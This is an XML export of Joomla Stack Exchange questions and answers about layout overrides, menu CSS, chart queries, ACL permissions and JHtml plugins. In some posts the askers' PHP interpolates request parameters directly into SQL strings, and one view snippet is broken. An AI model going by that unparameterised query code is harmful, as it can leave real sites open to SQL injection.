  <row Id="25081" PostTypeId="1" AcceptedAnswerId="25083" CreationDate="2019-08-23T20:02:23.197" Score="0" ViewCount="207" Body="&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/aZAyF.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/aZAyF.jpg&quot; alt=&quot;Menu Layout Options&quot;&gt;&lt;/a&gt;&#xA;I have created an override for com_content for the &lt;strong&gt;category list&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is stored in &lt;code&gt;/templates/MYTEMPLATE/html/com_content/category&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is saved as a new name, copying the Joomla! override structure that I copied after clicking into my template in the back end and then clicking &quot;create override&quot; on the override I wanted.  This showed me the naming convention.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can see the override if I go into Articles &gt; Category in the backend and I can select the new override.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I have 3 files.  &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;code&gt;default-filedownloads.php&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;default_articles-filedownloads.php&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;default_children-filedownloads.php&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;The files have not changed from the core files at the moment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At some point I could go into Menu &gt; Main Menu &gt; My Category List Menu Item&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then I choose options, and I could see my menu override there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't see it any more and I can't understand why it disappeared.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have also created a &lt;code&gt;default-filedownload.xml&lt;/code&gt; file as I'm aware that can help.  My override can be seen if I put these 4 files into /components&lt;code&gt;/com_content/views/category/tmpl/&lt;/code&gt; then I can create a new menu item.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't want a new menu item &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;How can I make something appear in a menu item, under options, where it allows me to choose a layout.&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="7164" LastEditorUserId="7164" LastEditDate="2019-08-23T20:18:47.910" LastActivityDate="2019-08-24T10:05:41.377" Title="Why isn't my alternate layout override showing up for the menu item?" Tags="|overrides|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="25082" PostTypeId="2" ParentId="25080" CreationDate="2019-08-23T23:16:15.597" Score="1" Body="&lt;p&gt;I believe the fields are only available to the component for which they were created, being an extension of that component. If you think about, if you add {field 1} to an article, how does the article know that you mean field 1 from com_contacts or any other component. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe one day custom fields might advance to allow {com_contacts:field 1} which would solve your issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You might be able to achieve what you want using an extension that allows you to embed other modules or components in your articles. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Terry&lt;/p&gt;&#xA;" OwnerUserId="13306" LastActivityDate="2019-08-23T23:16:15.597" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25083" PostTypeId="2" ParentId="25081" CreationDate="2019-08-24T09:40:44.423" Score="1" Body="&lt;p&gt;I found this in the documentation for category layouts that may be causing some of your issues.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;As with component layouts, category layouts only will show if (1) they&#xA;  are specified for the category in the global or category parameters&#xA;  and (2) there is no menu item specifically for this category (for&#xA;  example, List Contacts in a Category, List News feeds in a Category,&#xA;  List Web links in a Category, Category List, Category Blog).&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;If there is a menu item set up for this specific category, that layout&#xA;  will be used instead of the alternative category layout.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I also read in the documentation that adding an .xml file of the same name will make it a Menu Item and it seems not a category override. See the section on Alternative menu Items.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is also a mention in bold that underscores should not be used in the name of the first file, but I wonder if the hyphen you have is causing issues for you.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;the file must not be named the same as the core file and must not&#xA;  include underscores in the name. Additionally, there should not be an&#xA;  XML file of the same name in this folder. (We'll discuss XML files&#xA;  below under Menu Item Alternative Layouts.)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I found the above in this page, &lt;a href=&quot;https://docs.joomla.org/Layout_Overrides_in_Joomla&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Layout_Overrides_in_Joomla&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="13306" LastEditorUserId="13306" LastEditDate="2019-08-24T10:05:41.377" LastActivityDate="2019-08-24T10:05:41.377" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="25084" PostTypeId="1" CreationDate="2019-08-24T15:13:03.683" Score="1" ViewCount="61" Body="&lt;p&gt;I'm currently struggling with the top nav menu in Joomla's Beez3 template.&#xA;I would like the highlighted menu item not to fill the whole space but just let's say 5px rounded around the text. The rest of the menu item space should be left transparent.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I've tried is the following in my personal.css file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#header ul.menu a:hover&#xA;{&#xA;    padding: 5px 5px 5px 5px !important;&#xA;    margin: 7px 10px 7px 10px !important;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is only part of a bigger CSS definition (both the selectors are many more and the styles are more. I just reduced it to the relevant part.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For some reason, this is not working as expected.&#xA;The right border of the menu is suddenly gone and the menu is &quot;jumping&quot; slightly when hovering over the first menu item.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I guess it's not all that easy...&#xA;Can anyone help me here?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="13719" LastActivityDate="2019-08-24T15:13:03.683" Title="Beez3 top menu highlight size" Tags="|style|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="25085" PostTypeId="2" ParentId="18660" CreationDate="2019-08-25T00:45:11.940" Score="2" Body="&lt;p&gt;One of the last steps in the update process is to apply any schema changes, after files are copied in. If the one-click update fails, then the schema changes might not have been applied.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This will result in warnings that your database is not up to date with the code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Navigate to Extensions &gt; Manage &gt; Database. If this is the problem, then you should see a warning message. The &quot;Fix&quot; button in the upper left corner ensures that all database changes have been applied and should resolve the problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Failing that: backups, backups, backups. is exactly correct.&lt;/p&gt;&#xA;" OwnerUserId="13703" LastActivityDate="2019-08-25T00:45:11.940" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25086" PostTypeId="2" ParentId="25064" CreationDate="2019-08-25T00:57:06.470" Score="0" Body="&lt;p&gt;URL set to # is my preferred solution. What you're probably experiencing is menu caching. Try navigating to system &gt; clear cache and clearing everything (or everything related to templates, menus).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are some good extensions that add a clear cache button to the toolbar. They're ery helpful when setting up or rearranging navigation.&lt;/p&gt;&#xA;" OwnerUserId="13703" LastActivityDate="2019-08-25T00:57:06.470" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25087" PostTypeId="1" AcceptedAnswerId="25088" CreationDate="2019-08-25T03:31:53.400" Score="2" ViewCount="122" Body="&lt;p&gt;In the backend, I am compiling some survey results generated from RSForm Pro and I want to display the statistics graphically using a PlotALot pie chart.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My form has 4 possible values for this particular question: &lt;code&gt;Australia&lt;/code&gt;, &lt;code&gt;NewZealand&lt;/code&gt;, &lt;code&gt;Oceania&lt;/code&gt;, and &lt;code&gt;Other&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I started with the following query in the sql textarea of the Plot1 tab:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SELECT FieldValue, COUNT(1)&#xA;FROM jprefix_rsform_submission_values&#xA;WHERE FormId = 8&#xA;  AND FieldName = 'Location'&#xA;GROUP BY 1&#xA;ORDER BY 2 DESC&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, this omits any location that has a count of zero.  To ensure that all possible locations were included, I derived a table of default locations via a subquery, then joined the RSForm data to the derived table.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SELECT &#xA;    Location,&#xA;    COUNT(FieldValue)&#xA;FROM (&#xA;    (SELECT 'Australia' AS Location)&#xA;    UNION&#xA;    (SELECT 'New Zealand')&#xA;    UNION&#xA;    (SELECT 'Oceania')&#xA;    UNION&#xA;    (SELECT 'Other')) AS defaults&#xA;LEFT JOIN jprefix_rsform_submission_values&#xA;    ON FormId = 8&#xA;       AND FieldName = 'Location'&#xA;       AND FieldValue = REPLACE(Location, ' ', '')&#xA;GROUP BY 1&#xA;ORDER BY 2 DESC&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This now provides the correct result set:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Location    |  COUNT(FieldValue)&#xA;--------------------------------&#xA;Australia   |       46&#xA;Other       |        7&#xA;New Zealand |        0&#xA;Oceania     |        0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The trouble is, when I feed this sql to PlotAlot, I only see:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/A5HJG.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/A5HJG.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I prevent PlotAlot from omitting the zero values in the legend?&lt;/p&gt;&#xA;" OwnerUserId="12352" LastActivityDate="2019-08-25T03:31:53.400" Title="How to display zero values in the legend of PlotALot graph based on RSForm Pro results?" Tags="|administrator|rsform|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25088" PostTypeId="2" ParentId="25087" CreationDate="2019-08-25T03:31:53.400" Score="2" Body="&lt;p&gt;I managed to solve this by amending the second column in the SELECT clause to generate a minuscule, non-zero decimal value.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;IF(COUNT(FieldValue) &amp;gt; 0, COUNT(FieldValue), 0.1)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For the record, &lt;code&gt;GREATEST(COUNT(FieldValue), 0.1)&lt;/code&gt; will have virtually the same result set (technically, all of the results become float values) and the graphic output is the same.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a result, the Locations appear in the legend and the &lt;code&gt;0.1&lt;/code&gt; values are rounded to &lt;code&gt;0&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/1rMP6.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/1rMP6.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;As a potentially related issue dealing with small values being lumped together into an &quot;Other&quot; label in the legend, it might be solvable by setting the &lt;a href=&quot;https://developers.google.com/chart/interactive/docs/gallery/piechart#slice-visibility-threshold&quot; rel=&quot;nofollow noreferrer&quot;&gt;sliceVisibilityThreshold&lt;/a&gt; value to &lt;code&gt;0&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To implement this, go to PlotALot's chart editor, click the Extra tab and inside of the Extra Options field, enter &lt;code&gt;sliceVisibilityThreshold: 0&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="12352" LastActivityDate="2019-08-25T03:31:53.400" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25089" PostTypeId="1" CreationDate="2019-08-25T14:56:43.173" Score="1" ViewCount="47" Body="&lt;p&gt;My Joomla Version is 3.8&#xA;I want to create a Custom User Access Level to manage users in a particular group. I have a user group which is configured as the default user group when new registrations are done manually. At present user registrations are done by an administrator from background. &#xA;I would like to create a user group/Access Level with rights to manage users of another group and with no other admin privileges. I mean create new, edit and Enable/Disable users of a particular group say Group A.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this possible in Joomla 3.8? If yes, how to go about this? If not, what's the alternate solution?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I explored and failed.&lt;/p&gt;&#xA;" OwnerUserId="13721" LastEditorUserId="12352" LastEditDate="2019-08-25T22:07:37.053" LastActivityDate="2019-08-25T23:31:01.793" Title="Create a Joomla Access Level to manage users in a particular Group" Tags="|joomla-3.x|administrator|acl|permissions|joomla-user-groups|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25090" PostTypeId="2" ParentId="25089" CreationDate="2019-08-25T23:20:04.040" Score="1" Body="&lt;p&gt;Using the standard core functions it is not possible to to restrict the ability to manage users of a particular user group, in your example Group A. I would say that it might be possible with some custom code to limit the display of a particular group or check before saving that the user is allowed to be changed by the person/group.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To allow a group to have just the ability to administer Users requires you to set up a  user group as a sub group of the Manager group and then in each of the components you &lt;strong&gt;do not&lt;/strong&gt; want them to have access to you need to change the permissions to Deny if they aren't already denied by inheritance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A quick look through the JED doesn't show up any extensions that suggest they might be able to do what you want.&lt;/p&gt;&#xA;" OwnerUserId="13306" LastEditorUserId="13306" LastEditDate="2019-08-25T23:31:01.793" LastActivityDate="2019-08-25T23:31:01.793" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25091" PostTypeId="2" ParentId="16441" CreationDate="2019-08-26T08:07:23.333" Score="0" Body="&lt;p&gt;You can modify:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;joomla\components\com_chronoforms6\chronoforms6.php&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;and add before line&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$output = new JoomlaGCLoader2('front', 'chronoforms6', 'chronoforms', $chronoforms6_setup);&#xA;&#xA;$doc = JFactory::getDocument();&#xA;&#xA;$app = JFactory::getApplication();&#xA;$menu = $app-&amp;gt;getMenu()-&amp;gt;getActive()-&amp;gt;id;&#xA;if ( $app-&amp;gt;getMenu()-&amp;gt;getActive()-&amp;gt;params-&amp;gt;get('menu-meta_description') != ''){&#xA;    $doc-&amp;gt;setDescription($app-&amp;gt;getMenu()-&amp;gt;getActive()-&amp;gt;params-&amp;gt;get('menu-meta_description'));&#xA;}&#xA;if ( $app-&amp;gt;getMenu()-&amp;gt;getActive()-&amp;gt;params-&amp;gt;get('menu-meta_keywords') != ''){&#xA;    $doc-&amp;gt;setMetadata('keywords', $app-&amp;gt;getMenu()-&amp;gt;getActive()-&amp;gt;params-&amp;gt;get('menu-meta_keywords'));&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Regards.&lt;/p&gt;&#xA;" OwnerUserId="13722" LastEditorUserId="168" LastEditDate="2019-08-26T08:38:03.980" LastActivityDate="2019-08-26T08:38:03.980" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="25092" PostTypeId="1" AcceptedAnswerId="25098" CreationDate="2019-08-26T08:36:58.677" Score="2" ViewCount="269" Body="&lt;p&gt;I'm developing a custom Joomla template and have &lt;code&gt;unset&lt;/code&gt; a lot of the core dependencies, such as jQuery and Bootstrap in the template's &lt;code&gt;index.php&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem now is that the core extensions call some of Bootstrap's featuues, like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JHtml::_('tooltip', $tooltip, $options);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;which in turn calls the Bootstrap library and the &lt;code&gt;unset&lt;/code&gt; doesn't work as it tried to remove the file before it's called.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I'd like to override some of the methods for the &lt;code&gt;JHtmlBootstrap&lt;/code&gt; class, so that they return nothing, like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;abstract class JHtmlBootstrap&#xA;{&#xA;    public static function tooltip() {&#xA;        return;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I know I'm going to have to write a plugin, but not sure as to the best approach.&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2019-08-27T05:42:21.173" Title="Override JHtml (HTMLHelper) class methods" Tags="|joomla-3.x|plugin|overrides|jhtml|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25093" PostTypeId="1" CreationDate="2019-08-26T08:50:59.567" Score="1" ViewCount="22" Body="&lt;p&gt;I want to add a custom button to the TinyMCE editor. But the documentation about this feature is non-existsten as you can see here: &lt;a href=&quot;https://docs.joomla.org/Plugin/Events/Editor#onCustomEditorButton&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Plugin/Events/Editor#onCustomEditorButton&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do you have any idea how this works or other sources of a useful documentation?&lt;/p&gt;&#xA;" OwnerUserId="13684" LastEditorUserId="12352" LastEditDate="2019-08-26T12:35:25.020" LastActivityDate="2019-08-27T09:33:52.080" Title="No Documentation about onCustomEditorButton" Tags="|plugin|editor|tinymce|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="25094" PostTypeId="1" CreationDate="2019-08-26T14:40:55.533" Score="2" ViewCount="67" Body="&lt;p&gt;I'm working on a basic module to display an image carousel.  The module itself works well, but what I want to do now is create a new folder called 'carousel' within the root 'images' folder when the module installs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've researched this a lot here (I apologise if this is a duplicate question) and from searches, but no matter what I try I can't get it to work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have this in the manifest file.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;scriptfile&amp;gt;script.php&amp;lt;/scriptfile&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And I've created a script.php file.  Here's what I have so far:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;// No direct access to this file&#xA;defined('_JEXEC') or die;&#xA;&#xA;  class mod_CarouselInstallerScript&#xA;  {&#xA;    function install($parent) &#xA;    {&#xA;      $destination = JPATH_SITE.'/'.&quot;images&quot;;&#xA;      $folder_name = &quot;carousel&quot;;&#xA;      JFolder::create($destination .'/'. $folder_name, 0755);&#xA;    }&#xA;  }&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've tried various versions of this found here and in Joomla documentation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What am I missing?&lt;/p&gt;&#xA;" OwnerUserId="13704" LastEditorUserId="12352" LastEditDate="2019-08-26T23:37:57.203" LastActivityDate="2019-08-27T15:43:30.613" Title="Create a new folder in 'images' when installing module" Tags="|installation|custom-module|images|carousel|" AnswerCount="1" CommentCount="11" ContentLicense="CC BY-SA 4.0" />
  <row Id="25095" PostTypeId="1" CreationDate="2019-08-26T17:44:59.050" Score="0" ViewCount="118" Body="&lt;p&gt;How can I use this query with joomla 3 with limit to 3&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SELECT * , (3956 * 2 * ASIN(SQRT( POWER(SIN(( $coorlat - latitude) *  pi()/180 / 2), 2) +COS( $coorlat * pi()/180) * COS(latitude * pi()/180) * POWER(SIN(( $coorlng - longitude) * pi()/180 / 2), 2) ))) as distance&#xA;from places&#xA;order by distance&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="13725" LastEditorUserId="12352" LastEditDate="2019-08-26T23:40:40.850" LastActivityDate="2019-08-26T23:40:40.850" Title="Joomla 3 database query select with limit" Tags="|joomla-3.x|php|mysql|jdatabase|" AnswerCount="1" CommentCount="1" ClosedDate="2019-08-26T23:43:49.860" ContentLicense="CC BY-SA 4.0" />
  <row Id="25096" PostTypeId="2" ParentId="25095" CreationDate="2019-08-26T18:26:50.937" Score="0" Body="&lt;p&gt;I found solution my code is :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$query = &quot;SELECT * , (3956 * 2 * ASIN(SQRT( POWER(SIN(( $coorlat - latitude) *  pi()/180 / 2), 2) +COS( $coorlat * pi()/180) * COS(latitude * pi()/180) * POWER(SIN(( $coorlng - longitude) * pi()/180 / 2), 2) ))) as distance from places order by distance LIMIT 3&quot;;&#xA;        $db = JFactory::getDBO();&#xA;        $db-&amp;gt;setQuery($query); &#xA;        $articles = $db-&amp;gt;loadObjectList(); &#xA;        foreach($articles as $article) &#xA;        {&#xA;            echo $article-&amp;gt;title .'&amp;lt;br&amp;gt;';&#xA;        }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="13725" LastActivityDate="2019-08-26T18:26:50.937" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="25097" PostTypeId="1" CreationDate="2019-08-26T19:03:19.227" Score="1" ViewCount="389" Body="&lt;p&gt;I'm using Joomla 3 and I have a controller with the function abc that should call a view with some parameters title &amp;amp; address&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My controller :components/com_storemanager/controller.php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;/**&#xA; * @version    CVS: 1.0.1&#xA; * @package    Com_storemanager&#xA; * @author     LYT&#xA; * @copyright  2LYT&#xA; * @license    GNU General Public License version 2 or later; see LICENSE.txt&#xA; */&#xA;// No direct access&#xA;defined('_JEXEC') or die;&#xA;&#xA;jimport('joomla.application.component.controller');&#xA;&#xA;/**&#xA; * Class storemanagerController&#xA; *&#xA; * @since  1.6&#xA; */&#xA;class storemanagerController extends JControllerLegacy&#xA;{&#xA;    /**&#xA;     * Method to display a view.&#xA;     *&#xA;     * @param   boolean $cachable  If true, the view output will be cached&#xA;     * @param   mixed   $urlparams An array of safe url parameters and their variable types, for valid values see {@link JFilterInput::clean()}.&#xA;     *&#xA;     * @return  JController   This object to support chaining.&#xA;     *&#xA;     * @since    1.5&#xA;     */&#xA;    public function display($cachable = false, $urlparams = false)&#xA;    {&#xA;        $app  = JFactory::getApplication();&#xA;        $view = $app-&amp;gt;input-&amp;gt;getCmd('view', 'places');&#xA;        $app-&amp;gt;input-&amp;gt;set('view', $view);&#xA;&#xA;        parent::display($cachable, $urlparams);&#xA;&#xA;        return $this;&#xA;    }&#xA;&#xA;    function abc()&#xA;    {&#xA;        $jinput = JFactory::getApplication()-&amp;gt;input;&#xA;        $coorlat = $jinput-&amp;gt;get('coorlat');&#xA;        $coorlng = $jinput-&amp;gt;get('coorlng');&#xA;        $query = &quot;SELECT x_subtitle, telephone, address, (3956 * 2 * ASIN(SQRT( POWER(SIN(( $coorlat - latitude) *  pi()/180 / 2), 2) &#xA;        +COS( $coorlat * pi()/180) * COS(latitude * pi()/180) * POWER(SIN(( $coorlng - longitude) * pi()/180 / 2), 2) ))) &#xA;        as distance from places order by distance LIMIT 3&quot;;&#xA;        $db = JFactory::getDBO();&#xA;        $db-&amp;gt;setQuery($query); &#xA;        $articles = $db-&amp;gt;loadObjectList(); &#xA;&#xA;        foreach($articles as $article) &#xA;        {&#xA;            $view = $this-&amp;gt;getView('searchplace','html'); //get the view&#xA;            $view-&amp;gt;title = $article-&amp;gt;x_subtitle; //set the data to the view&#xA;            $view-&amp;gt;display(); //show the view&#xA;        }&#xA;        exit;&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My view : components/com_storemanager/views/searchresult/view.html.php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;        /**&#xA;        * @package     Joomla.Administrator&#xA;        * @subpackage  com_helloworld&#xA;        *&#xA;        * @copyright   Copyright (C) 2005 - 2018 Open Source Matters, Inc. All rights reserved.&#xA;        * @license     GNU General Public License version 2 or later; see LICENSE.txt&#xA;        */&#xA;&#xA;        // No direct access to this file&#xA;        defined('_JEXEC') or die('Restricted access');&#xA;&#xA;        /**&#xA;        * HTML View class for the HelloWorld Component&#xA;        *&#xA;        * @since  0.0.1&#xA;        */&#xA;        class storemanagerViewSearchplaces extends JViewLegacy&#xA;        {&#xA;            //public $title;&#xA;&#xA;            public function display($tpl = null)&#xA;            {&#xA;&#xA;                echo &quot;&amp;lt;li&amp;gt;{$store-&amp;gt;title}&amp;lt;/li&amp;gt;&quot;;&#xA;&#xA;            }&#xA;        }&#xA;&#xA;    ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;if I use var_dump($articles) I get &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;array(3) { [0]=&amp;gt; object(stdClass)#335 (4) { [&quot;x_subtitle&quot;]=&amp;gt; string(17) &quot;Varennes&quot; [&quot;telephone&quot;]=&amp;gt; string(12) &quot;450-652-2133&quot; [&quot;address&quot;]=&amp;gt; string(48) &quot;1250, boul. Lionel Boulet, Varennes, QC, J3X X1P&quot; [&quot;distance&quot;]=&amp;gt; string(18) &quot;15.077548488524313&quot; } [1]=&amp;gt; object(stdClass)#336 (4) { [&quot;x_subtitle&quot;]=&amp;gt; string(19) &quot;Repentigny&quot; [&quot;telephone&quot;]=&amp;gt; string(12) &quot;450-657-0101&quot; [&quot;address&quot;]=&amp;gt; string(45) &quot;75, rue de Normandie, Repentigny, QC, J6A 7B3&quot; [&quot;distance&quot;]=&amp;gt; string(18) &quot;16.434693660810648&quot; } [2]=&amp;gt; object(stdClass)#337 (4) { [&quot;x_subtitle&quot;]=&amp;gt; string(15) &quot;Delson&quot; [&quot;telephone&quot;]=&amp;gt; string(12) &quot;450-845-9842&quot; [&quot;address&quot;]=&amp;gt; string(35) &quot;59C, Route 132 Delson, QC, J1B 1H1&quot; [&quot;distance&quot;]=&amp;gt; string(18) &quot;17.146666885006635&quot; } } &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But if I use view I get just text on console network says ERROR with 500 that all&lt;/p&gt;&#xA;" OwnerUserId="13725" LastEditorUserId="13725" LastEditDate="2019-08-27T14:44:44.410" LastActivityDate="2024-01-03T22:03:30.347" Title="Joomla 3 return view with parameters" Tags="|joomla-3.x|php|" AnswerCount="1" CommentCount="8" ContentLicense="CC BY-SA 4.0" />
  <row Id="25098" PostTypeId="2" ParentId="25092" CreationDate="2019-08-27T05:42:21.173" Score="4" Body="&lt;p&gt;Create a system plugin and use &lt;code&gt;JHtml::register()&lt;/code&gt; to register your custom methods.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;defined('_JEXEC') or die;&#xA;&#xA;use Joomla\CMS\HTML\HTMLHelper;&#xA;use Joomla\CMS\Plugin\CMSPlugin;&#xA;&#xA;class PlgSystemExample extends CMSPlugin&#xA;{&#xA;    public function onAfterInitialise()&#xA;    {&#xA;        HTMLHelper::register('bootstrap.tooltip', array(__CLASS__, 'noTooltips'));&#xA;    }&#xA;&#xA;    public static function noTooltips()&#xA;    {&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2019-08-27T05:42:21.173" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25099" PostTypeId="2" ParentId="25093" CreationDate="2019-08-27T09:33:52.080" Score="2" Body="&lt;p&gt;What you've currently link to in your question is a plugin event for a custom editor button, not for the actual creation of one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To create a custom button, check the following directory:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;ROOT/plugins/editors-xtd/&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;where you will see a few core extension.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can copy any of these and start writing your code inside the &lt;code&gt;onDisplay()&lt;/code&gt; function&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2019-08-27T09:33:52.080" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
